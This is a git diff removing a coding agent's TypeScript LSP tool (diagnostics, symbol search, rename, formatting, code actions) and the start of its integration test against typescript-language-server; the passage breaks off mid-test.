- const [cmd, ...cmdArgs] = projectType.command; - const proc = spawn(cmd, cmdArgs, { - cwd, - stdio: ["ignore", "pipe", "pipe"], - // On Windows, project-type commands (tsc, cargo, etc.) may be .cmd - // wrappers that need shell resolution to avoid ENOENT/EINVAL (#2854). - shell: process.platform === "win32", - }); - const abortHandler = () => { - proc.kill(); - }; - if (signal) { - signal.addEventListener("abort", abortHandler, { once: true }); - } - - try { - const stdoutChunks: Buffer[] = []; - const stderrChunks: Buffer[] = []; - - proc.stdout?.on("data", (chunk: Buffer) => stdoutChunks.push(chunk)); - proc.stderr?.on("data", (chunk: Buffer) => stderrChunks.push(chunk)); - - const _exitCode = await new Promise((resolve) => { - proc.on("exit", (code: number | null) => resolve(code ?? 1)); - }); - - const stdout = Buffer.concat(stdoutChunks).toString("utf-8"); - const stderr = Buffer.concat(stderrChunks).toString("utf-8"); - - throwIfAborted(signal); - const combined = (stdout + stderr).trim(); - if (!combined) { - return { output: "No issues found", projectType }; - } - const lines = combined.split("\n"); - if (lines.length > 50) { - return { - output: `${lines.slice(0, 50).join("\n")}\n... and ${lines.length - 50} more lines`, - projectType, - }; - } - return { output: combined, projectType }; - } catch (e: unknown) { - if (signal?.aborted) { - throw new ToolAbortError(); - } - return { - output: `Failed to run ${projectType.command.join(" ")}: ${e}`, - projectType, - }; - } finally { - signal?.removeEventListener("abort", abortHandler); - } -} - -// ============================================================================= -// Path Resolution -// ============================================================================= - -function resolveToCwd(file: string, cwd: string): string { - return path.resolve(cwd, file); -} - -// ============================================================================= -// Tool Factory -// ============================================================================= - -/** - * Create an LSP tool configured for a specific working directory. - */ -export function createLspTool( - cwd: string, -): AgentTool { - return { - name: "lsp", - label: "LSP", - description: lspDescription, - parameters: lspSchema, - - async execute( - _toolCallId: string, - params: LspParams, - signal?: AbortSignal, - _onUpdate?: AgentToolUpdateCallback, - ): Promise> { - const { - action, - file, - line, - symbol, - occurrence, - query, - new_name, - apply, - tab_size, - insert_spaces, - timeout, - } = params; - const timeoutSec = clampTimeout(timeout); - const timeoutSignal = AbortSignal.timeout(timeoutSec * 1000); - signal = signal - ? AbortSignal.any([signal, timeoutSignal]) - : timeoutSignal; - throwIfAborted(signal); - - const config = getConfig(cwd); - - // Status action doesn't need a file - if (action === "status") { - const servers = Object.keys(config.servers); - const lspmuxState = await detectLspmux(); - const lspmuxStatus = lspmuxState.available - ? lspmuxState.running - ? "lspmux: active (multiplexing enabled)" - : "lspmux: installed but server not running" - : ""; - - let serverStatus: string; - if (servers.length > 0) { - serverStatus = `Active language servers: ${servers.join(", ")}`; - } else { - // Diagnose why no servers were detected - const DEFAULTS = ( - await import("./defaults.json", { with: { type: "json" } }) - ).default as Record< - string, - { command: string; rootMarkers: string[] } - >; - const diagnostics: string[] = [ - "No language servers configured for this project.", - ]; - const matchedButMissing: string[] = []; - const _noMarkers: string[] = []; - - for (const [name, def] of Object.entries(DEFAULTS)) { - if (hasRootMarkers(cwd, def.rootMarkers)) { - const resolved = resolveCommand(def.command, cwd); - if (!resolved) { - matchedButMissing.push( - ` ${name}: project detected (${def.rootMarkers[0]}) but '${def.command}' not found — install it with npm/pip/brew`, - ); - } - } - } - - if (matchedButMissing.length > 0) { - diagnostics.push("\nDetected projects missing language servers:"); - diagnostics.push(...matchedButMissing); - diagnostics.push( - "\nInstall the missing server command and restart SF, or run: lsp reload", - ); - } else { - diagnostics.push( - "No recognized project markers found in the working directory.", - ); - diagnostics.push( - "LSP auto-detects projects via files like package.json, Cargo.toml, go.mod, pyproject.toml, etc.", - ); - } - - serverStatus = diagnostics.join("\n"); - } - - const output = lspmuxStatus - ? `${serverStatus}\n${lspmuxStatus}` - : serverStatus; - return { - content: [{ type: "text", text: output }], - details: { action, success: true, request: params }, - }; - } - - // Diagnostics can be batch or single-file - if (action === "diagnostics") { - if (!file) { - const result = await runWorkspaceDiagnostics(cwd, signal); - return { - content: [ - { - type: "text", - text: `Workspace diagnostics (${result.projectType.description}):\n${result.output}`, - }, - ], - details: { action, success: true, request: params }, - }; - } - - let targets: string[]; - let truncatedGlobTargets = false; - if (hasGlobPattern(file)) { - const globMatches = await collectGlobMatches( - file, - cwd, - MAX_GLOB_DIAGNOSTIC_TARGETS, - ); - targets = globMatches.matches; - truncatedGlobTargets = globMatches.truncated; - } else { - targets = [file]; - } - - if (targets.length === 0) { - return { - content: [ - { type: "text", text: `No files matched pattern: ${file}` }, - ], - details: { action, success: true, request: params }, - }; - } - - const detailed = targets.length > 1 || truncatedGlobTargets; - const diagnosticsWaitTimeoutMs = detailed - ? Math.min(BATCH_DIAGNOSTICS_WAIT_TIMEOUT_MS, timeoutSec * 1000) - : Math.min(SINGLE_DIAGNOSTICS_WAIT_TIMEOUT_MS, timeoutSec * 1000); - const results: string[] = []; - const allServerNames = new Set(); - if (truncatedGlobTargets) { - results.push( - `[W] Pattern matched more than ${MAX_GLOB_DIAGNOSTIC_TARGETS} files; showing first ${MAX_GLOB_DIAGNOSTIC_TARGETS}. Narrow the glob or use workspace diagnostics.`, - ); - } - - for (const target of targets) { - throwIfAborted(signal); - const resolved = resolveToCwd(target, cwd); - const servers = getServersForFile(config, resolved); - if (servers.length === 0) { - results.push(`[E] ${target}: No language server found`); - continue; - } - - const uri = fileToUri(resolved); - const relPath = path.relative(cwd, resolved); - const allDiagnostics: Diagnostic[] = []; - - for (const [serverName, serverConfig] of servers) { - allServerNames.add(serverName); - try { - throwIfAborted(signal); - const client = await getOrCreateClient(serverConfig, cwd); - const minVersion = client.diagnosticsVersion; - await refreshFile(client, resolved, signal); - const diagnostics = await waitForDiagnostics( - client, - uri, - diagnosticsWaitTimeoutMs, - signal, - minVersion, - ); - allDiagnostics.push(...diagnostics); - } catch (err: unknown) { - if (err instanceof ToolAbortError || signal?.aborted) { - throw err; - } - } - } - - // Deduplicate - const seen = new Set(); - const uniqueDiagnostics: Diagnostic[] = []; - for (const d of allDiagnostics) { - const key = `${d.range.start.line}:${d.range.start.character}:${d.range.end.line}:${d.range.end.character}:${d.message}`; - if (!seen.has(key)) { - seen.add(key); - uniqueDiagnostics.push(d); - } - } - - sortDiagnostics(uniqueDiagnostics); - - if (!detailed && targets.length === 1) { - if (uniqueDiagnostics.length === 0) { - return { - content: [{ type: "text", text: "No diagnostics" }], - details: { - action, - serverName: Array.from(allServerNames).join(", "), - success: true, - }, - }; - } - - const summary = formatDiagnosticsSummary(uniqueDiagnostics); - const formatted = uniqueDiagnostics.map((d) => - formatDiagnostic(d, relPath), - ); - const output = `${summary}:\n${formatGroupedDiagnosticMessages(formatted)}`; - return { - content: [{ type: "text", text: output }], - details: { - action, - serverName: Array.from(allServerNames).join(", "), - success: true, - }, - }; - } - - if (uniqueDiagnostics.length === 0) { - results.push(`OK ${relPath}: no issues`); - } else { - const summary = formatDiagnosticsSummary(uniqueDiagnostics); - results.push(`[E] ${relPath}: ${summary}`); - const formatted = uniqueDiagnostics.map((d) => - formatDiagnostic(d, relPath), - ); - results.push(formatGroupedDiagnosticMessages(formatted)); - } - } - - return { - content: [{ type: "text", text: results.join("\n") }], - details: { - action, - serverName: Array.from(allServerNames).join(", "), - success: true, - }, - }; - } - - const requiresFile = !file && action !== "symbols" && action !== "reload"; - - if (requiresFile) { - return { - content: [ - { - type: "text", - text: "Error: file parameter required for this action", - }, - ], - details: { action, success: false }, - }; - } - - const resolvedFile = file ? resolveToCwd(file, cwd) : null; - - // Workspace symbol search (no file) - if (action === "symbols" && !resolvedFile) { - const normalizedQuery = query?.trim(); - if (!normalizedQuery) { - return { - content: [ - { - type: "text", - text: "Error: query parameter required for workspace symbol search", - }, - ], - details: { action, success: false, request: params }, - }; - } - const servers = getLspServers(config); - if (servers.length === 0) { - return { - content: [ - { - type: "text", - text: "No language server found for this action", - }, - ], - details: { action, success: false, request: params }, - }; - } - const aggregatedSymbols: SymbolInformation[] = []; - const respondingServers = new Set(); - for (const [workspaceServerName, workspaceServerConfig] of servers) { - throwIfAborted(signal); - try { - const workspaceClient = await getOrCreateClient( - workspaceServerConfig, - cwd, - ); - const workspaceResult = (await sendRequest( - workspaceClient, - "workspace/symbol", - { query: normalizedQuery }, - signal, - )) as SymbolInformation[] | null; - if (!workspaceResult || workspaceResult.length === 0) { - continue; - } - respondingServers.add(workspaceServerName); - aggregatedSymbols.push( - ...filterWorkspaceSymbols(workspaceResult, normalizedQuery), - ); - } catch (err: unknown) { - if (err instanceof ToolAbortError || signal?.aborted) { - throw err; - } - } - } - const dedupedSymbols = dedupeWorkspaceSymbols(aggregatedSymbols); - if (dedupedSymbols.length === 0) { - return { - content: [ - { - type: "text", - text: `No symbols matching "${normalizedQuery}"`, - }, - ], - details: { - action, - serverName: Array.from(respondingServers).join(", "), - success: true, - request: params, - }, - }; - } - const limitedSymbols = dedupedSymbols.slice(0, WORKSPACE_SYMBOL_LIMIT); - const lines = limitedSymbols.map((s) => - formatSymbolInformation(s, cwd), - ); - const truncationLine = - dedupedSymbols.length > WORKSPACE_SYMBOL_LIMIT - ? `\n... ${dedupedSymbols.length - WORKSPACE_SYMBOL_LIMIT} additional symbol(s) omitted` - : ""; - return { - content: [ - { - type: "text", - text: `Found ${dedupedSymbols.length} symbol(s) matching "${normalizedQuery}":\n${lines.map((l) => ` ${l}`).join("\n")}${truncationLine}`, - }, - ], - details: { - action, - serverName: Array.from(respondingServers).join(", "), - success: true, - request: params, - }, - }; - } - - // Reload all servers (no file) - if (action === "reload" && !resolvedFile) { - const servers = getLspServers(config); - if (servers.length === 0) { - return { - content: [ - { - type: "text", - text: "No language server found for this action", - }, - ], - details: { action, success: false, request: params }, - }; - } - const outputs: string[] = []; - for (const [workspaceServerName, workspaceServerConfig] of servers) { - throwIfAborted(signal); - try { - const workspaceClient = await getOrCreateClient( - workspaceServerConfig, - cwd, - ); - outputs.push( - await reloadServer(workspaceClient, workspaceServerName, signal), - ); - } catch (err: unknown) { - if (err instanceof ToolAbortError || signal?.aborted) { - throw err; - } - const errorMessage = - err instanceof Error ? err.message : String(err); - outputs.push( - `Failed to reload ${workspaceServerName}: ${errorMessage}`, - ); - } - } - return { - content: [{ type: "text", text: outputs.join("\n") }], - details: { - action, - serverName: servers.map(([name]) => name).join(", "), - success: true, - request: params, - }, - }; - } - - // File-specific actions - const serverInfo = resolvedFile - ? getServerForFile(config, resolvedFile) - : null; - if (!serverInfo) { - return { - content: [ - { type: "text", text: "No language server found for this action" }, - ], - details: { action, success: false }, - }; - } - - const [serverName, serverConfig] = serverInfo; - - try { - const client = await getOrCreateClient(serverConfig, cwd); - const targetFile = resolvedFile; - - if (targetFile) { - await ensureFileOpen(client, targetFile, signal); - } - - const uri = targetFile ? fileToUri(targetFile) : ""; - const resolvedLine = line ?? 1; - const resolvedCharacter = targetFile - ? await resolveSymbolColumn( - targetFile, - resolvedLine, - symbol, - occurrence, - ) - : 0; - const position = { - line: resolvedLine - 1, - character: resolvedCharacter, - }; - - let output: string; - - switch (action) { - case "definition": { - const result = await sendRequest( - client, - "textDocument/definition", - { textDocument: { uri }, position }, - signal, - ); - output = await formatLocationResults( - result as - | Location - | Location[] - | LocationLink - | LocationLink[] - | null, - "definition", - cwd, - ); - break; - } - - case "type_definition": { - const result = await sendRequest( - client, - "textDocument/typeDefinition", - { textDocument: { uri }, position }, - signal, - ); - output = await formatLocationResults( - result as - | Location - | Location[] - | LocationLink - | LocationLink[] - | null, - "type definition", - cwd, - ); - break; - } - - case "implementation": { - const result = await sendRequest( - client, - "textDocument/implementation", - { textDocument: { uri }, position }, - signal, - ); - output = await formatLocationResults( - result as - | Location - | Location[] - | LocationLink - | LocationLink[] - | null, - "implementation", - cwd, - ); - break; - } - - case "references": { - const result = (await sendRequest( - client, - "textDocument/references", - { - textDocument: { uri }, - position, - context: { includeDeclaration: true }, - }, - signal, - )) as Location[] | null; - - if (!result || result.length === 0) { - output = "No references found"; - } else { - const contextualReferences = result.slice( - 0, - REFERENCE_CONTEXT_LIMIT, - ); - const plainReferences = result.slice(REFERENCE_CONTEXT_LIMIT); - const contextualLines = await Promise.all( - contextualReferences.map((location) => - formatLocationWithContext(location, cwd), - ), - ); - const plainLines = plainReferences.map( - (location) => ` ${formatLocation(location, cwd)}`, - ); - const lines = plainLines.length - ? [ - ...contextualLines, - ` ... ${plainLines.length} additional reference(s) shown without context`, - ...plainLines, - ] - : contextualLines; - output = `Found ${result.length} reference(s):\n${lines.join("\n")}`; - } - break; - } - - case "hover": { - const result = (await sendRequest( - client, - "textDocument/hover", - { - textDocument: { uri }, - position, - }, - signal, - )) as Hover | null; - - if (!result || !result.contents) { - output = "No hover information"; - } else { - output = extractHoverText(result.contents); - } - break; - } - - case "code_actions": { - const diagnostics = client.diagnostics.get(uri) ?? []; - const context: CodeActionContext = { - diagnostics, - only: !apply && query ? [query] : undefined, - triggerKind: 1, - }; - - const result = (await sendRequest( - client, - "textDocument/codeAction", - { - textDocument: { uri }, - range: { start: position, end: position }, - context, - }, - signal, - )) as (CodeAction | Command)[] | null; - - if (!result || result.length === 0) { - output = "No code actions available"; - break; - } - - if (apply === true && query) { - const normalizedQuery = query.trim(); - if (normalizedQuery.length === 0) { - output = - "Error: query parameter required when apply=true for code_actions"; - break; - } - const parsedIndex = /^\d+$/.test(normalizedQuery) - ? Number.parseInt(normalizedQuery, 10) - : null; - const selectedAction = result.find( - (actionItem, index) => - (parsedIndex !== null && index === parsedIndex) || - actionItem.title - .toLowerCase() - .includes(normalizedQuery.toLowerCase()), - ); - - if (!selectedAction) { - const actionLines = result.map( - (actionItem, index) => - ` ${formatCodeAction(actionItem, index)}`, - ); - output = `No code action matches "${normalizedQuery}". Available actions:\n${actionLines.join("\n")}`; - break; - } - - const appliedAction = await applyCodeAction(selectedAction, { - resolveCodeAction: async (actionItem: CodeAction) => - (await sendRequest( - client, - "codeAction/resolve", - actionItem, - signal, - )) as CodeAction, - applyWorkspaceEdit: async (edit: WorkspaceEdit) => - applyWorkspaceEdit(edit, cwd), - executeCommand: async (commandItem: Command) => { - await sendRequest( - client, - "workspace/executeCommand", - { - command: commandItem.command, - arguments: commandItem.arguments ?? [], - }, - signal, - ); - }, - }); - - if (!appliedAction) { - output = `Action "${selectedAction.title}" has no workspace edit or command to apply`; - break; - } - - const summaryLines: string[] = []; - if (appliedAction.edits.length > 0) { - summaryLines.push(" Workspace edit:"); - summaryLines.push( - ...appliedAction.edits.map((item) => ` ${item}`), - ); - } - if (appliedAction.executedCommands.length > 0) { - summaryLines.push(" Executed command(s):"); - summaryLines.push( - ...appliedAction.executedCommands.map( - (commandName) => ` ${commandName}`, - ), - ); - } - - output = `Applied "${appliedAction.title}":\n${summaryLines.join("\n")}`; - break; - } - - const actionLines = result.map( - (actionItem, index) => ` ${formatCodeAction(actionItem, index)}`, - ); - output = `${result.length} code action(s):\n${actionLines.join("\n")}`; - break; - } - - case "symbols": { - if (!targetFile) { - output = "Error: file parameter required for document symbols"; - break; - } - const result = (await sendRequest( - client, - "textDocument/documentSymbol", - { - textDocument: { uri }, - }, - signal, - )) as (DocumentSymbol | SymbolInformation)[] | null; - - if (!result || result.length === 0) { - output = "No symbols found"; - } else { - const relPath = path.relative(cwd, targetFile); - if ("selectionRange" in result[0]) { - const lines = (result as DocumentSymbol[]).flatMap((s) => - formatDocumentSymbol(s), - ); - output = `Symbols in ${relPath}:\n${lines.join("\n")}`; - } else { - const lines = (result as SymbolInformation[]).map((s) => { - const line = s.location.range.start.line + 1; - const icon = symbolKindToIcon(s.kind); - return `${icon} ${s.name} @ line ${line}`; - }); - output = `Symbols in ${relPath}:\n${lines.join("\n")}`; - } - } - break; - } - - case "incoming_calls": { - output = await formatCallHierarchyResults( - client, - position, - uri, - "incoming", - cwd, - signal, - ); - break; - } - - case "outgoing_calls": { - output = await formatCallHierarchyResults( - client, - position, - uri, - "outgoing", - cwd, - signal, - ); - break; - } - - case "format": { - if (!targetFile) { - output = "Error: file parameter required for format"; - break; - } - - const formatResult = (await sendRequest( - client, - "textDocument/formatting", - { - textDocument: { uri }, - options: { - tabSize: tab_size ?? 4, - insertSpaces: insert_spaces ?? true, - }, - }, - signal, - )) as TextEdit[] | null; - - if (!formatResult || formatResult.length === 0) { - const relPath = path.relative(cwd, targetFile); - output = `${relPath}: already formatted (no changes)`; - break; - } - - await applyTextEdits(targetFile, formatResult); - const relPath = path.relative(cwd, targetFile); - output = `Formatted ${relPath}: ${formatResult.length} edit(s) applied`; - break; - } - - case "signature": { - const sigResult = (await sendRequest( - client, - "textDocument/signatureHelp", - { - textDocument: { uri }, - position, - }, - signal, - )) as SignatureHelp | null; - - if ( - !sigResult || - !sigResult.signatures || - sigResult.signatures.length === 0 - ) { - output = "No signature information at this position"; - } else { - output = formatSignatureHelp(sigResult); - } - break; - } - - case "rename": { - if (!new_name) { - return { - content: [ - { - type: "text", - text: "Error: new_name parameter required for rename", - }, - ], - details: { action, serverName, success: false }, - }; - } - - const result = (await sendRequest( - client, - "textDocument/rename", - { - textDocument: { uri }, - position, - newName: new_name, - }, - signal, - )) as WorkspaceEdit | null; - - if (!result) { - output = "Rename returned no edits"; - } else { - const shouldApply = apply !== false; - if (shouldApply) { - const applied = await applyWorkspaceEdit(result, cwd); - output = `Applied rename:\n${applied.map((a) => ` ${a}`).join("\n")}`; - } else { - const preview = formatWorkspaceEdit(result, cwd); - output = `Rename preview:\n${preview.map((p) => ` ${p}`).join("\n")}`; - } - } - break; - } - - case "reload": { - output = await reloadServer(client, serverName, signal); - break; - } - - default: - output = `Unknown action: ${action}`; - } - - return { - content: [{ type: "text", text: output }], - details: { serverName, action, success: true, request: params }, - }; - } catch (err: unknown) { - if (err instanceof ToolAbortError || signal?.aborted) { - throw new ToolAbortError(); - } - const errorMessage = err instanceof Error ? err.message : String(err); - return { - content: [{ type: "text", text: `LSP error: ${errorMessage}` }], - details: { serverName, action, success: false, request: params }, - }; - } - }, - }; -} - -/** - * Default LSP tool using process.cwd(). - */ -export const lspTool = createLspTool(process.cwd()); diff --git a/packages/pi-coding-agent/src/core/lsp/lsp-integration.test.ts b/packages/pi-coding-agent/src/core/lsp/lsp-integration.test.ts deleted file mode 100644 index 3d2c4e7f4..000000000 --- a/packages/pi-coding-agent/src/core/lsp/lsp-integration.test.ts +++ /dev/null @@ -1,532 +0,0 @@ -/** - * Integration test for the LSP tool port. - * - * Spins up typescript-language-server against a temp TypeScript project - * and exercises: initialize, didOpen, hover, definition, references, - * documentSymbol, diagnostics, and shutdown. - * - * Run: node --experimental-strip-types --test src/core/lsp/lsp-integration.test.ts - * (from packages/pi-coding-agent/) - */ - -import assert from "node:assert/strict"; -import { execSync, spawn, spawnSync } from "node:child_process"; -import * as fs from "node:fs"; -import * as os from "node:os"; -import * as path from "node:path"; -import { afterAll, beforeAll, describe, test } from "vitest"; - -function hasTypeScriptLanguageServer(): boolean { - try { - execSync("npx which typescript-language-server", { stdio: "ignore" }); - } catch { - return false; - } - - const initialize = encodeMessage({ - jsonrpc: "2.0", - id: 1, - method: "initialize", - params: { - processId: process.pid, - rootUri: null, - capabilities: {}, - }, - }); - const shutdown = encodeMessage({ - jsonrpc: "2.0", - id: 2, - method: "shutdown", - params: null, - }); - const exit = encodeMessage({ - jsonrpc: "2.0", - method: "exit", - params: null, - }); - const probe = spawnSync("typescript-language-server", ["--stdio"], { - input: initialize + shutdown + exit, - encoding: "utf-8", - timeout: 5_000, - }); - - return probe.stdout.includes('"id":1'); -} - -const describeOrSkip = hasTypeScriptLanguageServer() ? describe : describe.skip; - -// --------------------------------------------------------------------------- -// Helpers — lightweight JSON-RPC over stdio (no dependency on our LSP code) -// --------------------------------------------------------------------------- - -interface JsonRpcRequest { - jsonrpc: "2.0"; - id: number; - method: string; - params: unknown; -} - -interface JsonRpcNotification { - jsonrpc: "2.0"; - method: string; - params?: unknown; -} - -interface JsonRpcResponse { - jsonrpc: "2.0"; - id?: number; - result?: unknown; - error?: { code: number; message: string }; -} - -function encodeMessage( - msg: JsonRpcRequest | JsonRpcNotification | JsonRpcResponse, -): string { - const body = JSON.stringify(msg); - return `Content-Length: ${Buffer.byteLength(body, "utf-8")}\r\n\r\n${body}`; -} - -/** - * Minimal LSP harness: spawns a language server, sends requests, collects responses. - */ -class LspHarness { - private proc; - private nextId = 1; - private buffer = Buffer.alloc(0); - private pending = new Map< - number, - { resolve: (v: unknown) => void; reject: (e: Error) => void } - >(); - private notifications: Array<{ method: string; params: unknown }> = []; - - constructor(command: string, args: string[], cwd: string) { - this.proc = spawn(command, args, { - cwd, - stdio: ["pipe", "pipe", "pipe"], - }); - - this.proc.stdout!.on("data", (chunk: Buffer) => { - this.buffer = Buffer.concat([this.buffer, chunk]); - this.drain(); - }); - - this.proc.stderr!.on("data", (_chunk: Buffer) => { - // Swallow stderr (server logs) - }); - } - - private drain(): void { - while (true) { - const headerEnd = this.findHeaderEnd(); - if (headerEnd === -1) return; - - const headerText = this.buffer.subarray(0, headerEnd).toString("utf-8"); - const match = headerText.match(/Content-Length:\s*(\d+)/i); - if (!match) return; - - const contentLength = parseInt(match[1], 10); - const messageStart = headerEnd + 4; // past \r\n\r\n - const messageEnd = messageStart + contentLength; - if (this.buffer.length < messageEnd) return; - - const body = this.buffer - .subarray(messageStart, messageEnd) - .toString("utf-8"); - this.buffer = Buffer.from(this.buffer.subarray(messageEnd)); - - const msg = JSON.parse(body) as JsonRpcResponse & { - method?: string; - params?: unknown; - }; - - if (msg.id !== undefined && this.pending.has(msg.id)) { - const p = this.pending.get(msg.id)!; - this.pending.delete(msg.id); - if (msg.error) { - p.reject( - new Error(`LSP error ${msg.error.code}: ${msg.error.message}`), - ); - } else { - p.resolve(msg.result); - } - } else if (msg.method) { - // Server request or notification - this.notifications.push({ method: msg.method, params: msg.params }); - // Auto-respond to server requests that have an id - if (msg.id !== undefined) { - this.respond(msg.id, null); - } - } - } - } - - private findHeaderEnd(): number { - for (let i = 0; i < this.buffer.length - 3; i++) { - if ( - this.buffer[i] === 13 && - this.buffer[i + 1] === 10 && - this.buffer[i + 2] === 13 && - this.buffer[i + 3] === 10 - ) { - return i; - } - } - return -1; - } - - private respond(id: number, result: unknown): void { - const msg: JsonRpcResponse = { jsonrpc: "2.0", id, result }; - this.proc.stdin!.write(encodeMessage(msg)); - } - - async request( - method: string, - params: unknown, - timeoutMs = 15000, - ): Promise { - const id = this.nextId++; - const msg: JsonRpcRequest = { jsonrpc: "2.0", id, method, params }; - this.proc.stdin!.write(encodeMessage(msg)); - - return new Promise((resolve, reject) => { - const timer = setTimeout(() => { - this.pending.delete(id); - reject(new Error(`Request ${method} timed out after ${timeoutMs}ms`)); - }, timeoutMs); - - this.pending.set(id, { - resolve: (v) => { - clearTimeout(timer); - resolve(v); - }, - reject: (e) => { - clearTimeout(timer); - reject(e); - }, - }); - }); - } - - notify(method: string, params: unknown): void { - const msg: JsonRpcNotification = { jsonrpc: "2.0", method, params }; - this.proc.stdin!.write(encodeMessage(msg)); - } - - getNotifications( - method?: string, - ): Array<{ method: string; params: unknown }> { - if (!method) return this.notifications; - return this.notifications.filter((n) => n.method === method); - } - - async waitForNotification( - method: string, - predicate: (notification: { method: string; params: unknown }) => boolean, - timeoutMs = 10_000, - ): Promise<{ method: string; params: unknown } | undefined> { - const startedAt = Date.now(); - while (Date.now() - startedAt < timeoutMs) { - const found = this.getNotifications(method).find(predicate); - if (found) return found; - await new Promise((resolve) => setTimeout(resolve, 100)); - } - return undefined; - } - - async shutdown(): Promise { - try { - await this.request("shutdown", null, 5000); - this.notify("exit", null); - } catch { - // Best effort - } - this.proc.kill(); - } -} - -// --------------------------------------------------------------------------- -// Test fixtures -// --------------------------------------------------------------------------- - -function createTempProject(): { dir: string; cleanup: () => void } { - const dir = fs.mkdtempSync(path.join(os.tmpdir(), "lsp-test-")); - - // tsconfig.json - fs.writeFileSync( - path.join(dir, "tsconfig.json"), - JSON.stringify( - { - compilerOptions: { - target: "ES2022", - module: "commonjs", - strict: true, - outDir: "./dist", - rootDir: "./src", - }, - include: ["src/**/*.ts"], - }, - null, - 2, - ), - ); - - // package.json - fs.writeFileSync( - path.join(dir, "package.json"), - JSON.stringify({ name: "lsp-test-project", version: "1.0.0" }, null, 2), - ); - - fs.mkdirSync(path.join(dir, "src")); - - // src/math.ts — module with exported functions - fs.writeFileSync( - path.join(dir, "src", "math.ts"), - `export function add(a: number, b: number): number { - return a + b; -} - -export function subtract(a: number, b: number): number { - return a - b; -} - -export interface Calculator { - add(a: number, b: number): number; - subtract(a: number, b: number): number; -} -`, - ); - - // src/main.ts — imports from math, has a type error - fs.writeFileSync( - path.join(dir, "src", "main.ts"), - `import { add, subtract, Calculator } from "./math"; - -const result: number = add(1, 2); -const diff: number = subtract(5, 3); - -// Intentional type error: string assigned to number -const bad: number = "not a number"; - -export function compute(calc: Calculator): number { - return calc.add(1, 2) + calc.subtract(5, 3); -} -`, - ); - - return { - dir, - cleanup: () => fs.rmSync(dir, { recursive: true, force: true }), - }; -} - -function fileToUri(filePath: string): string { - return `file://${path.resolve(filePath)}`; -} - -// --------------------------------------------------------------------------- -// Tests -// --------------------------------------------------------------------------- - -describeOrSkip("LSP integration: typescript-language-server", () => { - let dir: string; - let cleanup: () => void; - let mainPath: string; - let mathPath: string; - let mainUri: string; - let mathUri: string; - let lsp: LspHarness; - - beforeAll(async () => { - const project = createTempProject(); - dir = project.dir; - cleanup = project.cleanup; - mainPath = path.join(dir, "src", "main.ts"); - mathPath = path.join(dir, "src", "math.ts"); - mainUri = fileToUri(mainPath); - mathUri = fileToUri(mathPath); - lsp = new LspHarness("typescript-language-server", ["--stdio"], dir); - - // Initialize - const result = (await lsp.request("initialize", { - processId: process.pid, - rootUri: fileToUri(dir), - rootPath: dir, - capabilities: { - textDocument: { - hover: { contentFormat: ["markdown", "plaintext"] }, - definition: { linkSupport: true }, - references: {}, - documentSymbol: { hierarchicalDocumentSymbolSupport: true }, - publishDiagnostics: { relatedInformation: true }, - }, - }, - workspaceFolders: [{ uri: fileToUri(dir), name: "test" }], - })) as { capabilities?: Record }; - - assert.ok(result, "initialize should return a result"); - assert.ok(result.capabilities, "result should have capabilities"); - assert.ok( - result.capabilities.hoverProvider !== undefined, - "should support hover", - ); - assert.ok( - result.capabilities.definitionProvider !== undefined, - "should support definition", - ); - - lsp.notify("initialized", {}); - - // Open both files - const mainContent = fs.readFileSync(mainPath, "utf-8"); - const mathContent = fs.readFileSync(mathPath, "utf-8"); - - lsp.notify("textDocument/didOpen", { - textDocument: { - uri: mainUri, - languageId: "typescript", - version: 1, - text: mainContent, - }, - }); - lsp.notify("textDocument/didOpen", { - textDocument: { - uri: mathUri, - languageId: "typescript", - version: 1, - text: mathContent, - }, - }); - - // Give the server time to index - await new Promise((r) => setTimeout(r, 3000)); - }); - - afterAll(async () => { - await lsp.shutdown().catch(() => {}); - cleanup(); - }); - - test("initialize handshake", () => { - // Assertions run in beforeAll; this test just confirms setup succeeded. - assert.ok(lsp, "LSP harness should be initialized"); - }); - - // ---- Hover ---- - test("hover on 'add' call", async () => { - const result = (await lsp.request("textDocument/hover", { - textDocument: { uri: mainUri }, - position: { line: 2, character: 24 }, // on 'add' in "add(1, 2)" - })) as { contents?: unknown } | null; - - assert.ok(result, "hover should return a result"); - assert.ok(result.contents, "hover should have contents"); - const text = JSON.stringify(result.contents); - assert.ok( - text.includes("add") || text.includes("number"), - `hover text should mention 'add' or 'number', got: ${text.slice(0, 200)}`, - ); - }); - - // ---- Go to Definition ---- - test("go to definition of 'add'", async () => { - const result = (await lsp.request("textDocument/definition", { - textDocument: { uri: mainUri }, - position: { line: 2, character: 24 }, // on 'add' - })) as unknown; - - assert.ok(result, "definition should return a result"); - const locations = Array.isArray(result) ? result : [result]; - assert.ok(locations.length > 0, "should find at least one definition"); - // Response can be Location (uri) or LocationLink (targetUri) - const loc = locations[0] as Record; - const uri = (loc.uri ?? loc.targetUri) as string; - assert.ok( - uri, - `definition should have uri or targetUri, got keys: ${Object.keys(loc).join(", ")}`, - ); - assert.ok( - uri.includes("math.ts"), - `definition should point to math.ts, got: ${uri}`, - ); - }); - - // ---- References ---- - test("find references of 'add'", async () => { - const result = (await lsp.request("textDocument/references", { - textDocument: { uri: mathUri }, - position: { line: 0, character: 16 }, // on 'add' definition - context: { includeDeclaration: true }, - })) as Array<{ uri: string; range: unknown }> | null; - - assert.ok(result, "references should return a result"); - assert.ok( - result.length >= 2, - `should find at least 2 references (decl + usage), got ${result.length}`, - ); - }); - - // ---- Document Symbols ---- - test("document symbols in math.ts", async () => { - const result = (await lsp.request("textDocument/documentSymbol", { - textDocument: { uri: mathUri }, - })) as Array<{ name: string; kind: number }> | null; - - assert.ok(result, "documentSymbol should return a result"); - assert.ok( - result.length >= 2, - `should find at least 2 symbols, got ${result.length}`, - ); - const names = result.map((s) => s.name); - assert.ok( - names.includes("add"), - `symbols should include 'add', got: ${names.join(", ")}`, - ); - assert.ok( - names.includes("subtract"), - `symbols should include 'subtract', got: ${names.join(", ")}`, - ); - }); - - // ---- Diagnostics (published via notification) ---- - test("diagnostics for type error", async () => { - const mainContent = fs.readFileSync(mainPath, "utf-8"); - lsp.notify("textDocument/didChange", { - textDocument: { uri: mainUri, version: 2 }, - contentChanges: [{ text: mainContent }], - }); - - const mainDiagNotification = await lsp.waitForNotification( - "textDocument/publishDiagnostics", - (n) => { - const params = n.params as { - uri: string; - diagnostics?: Array<{ message: string; range: unknown }>; - }; - return params.uri === mainUri && (params.diagnostics?.length ?? 0) > 0; - }, - ); - - assert.ok(mainDiagNotification, "should receive diagnostics for main.ts"); - - const diagnostics = ( - mainDiagNotification.params as { - diagnostics: Array<{ message: string; range: unknown }>; - } - ).diagnostics; - - // Should catch the type error: string assigned to number - const typeError = diagnostics.find( - (d) => 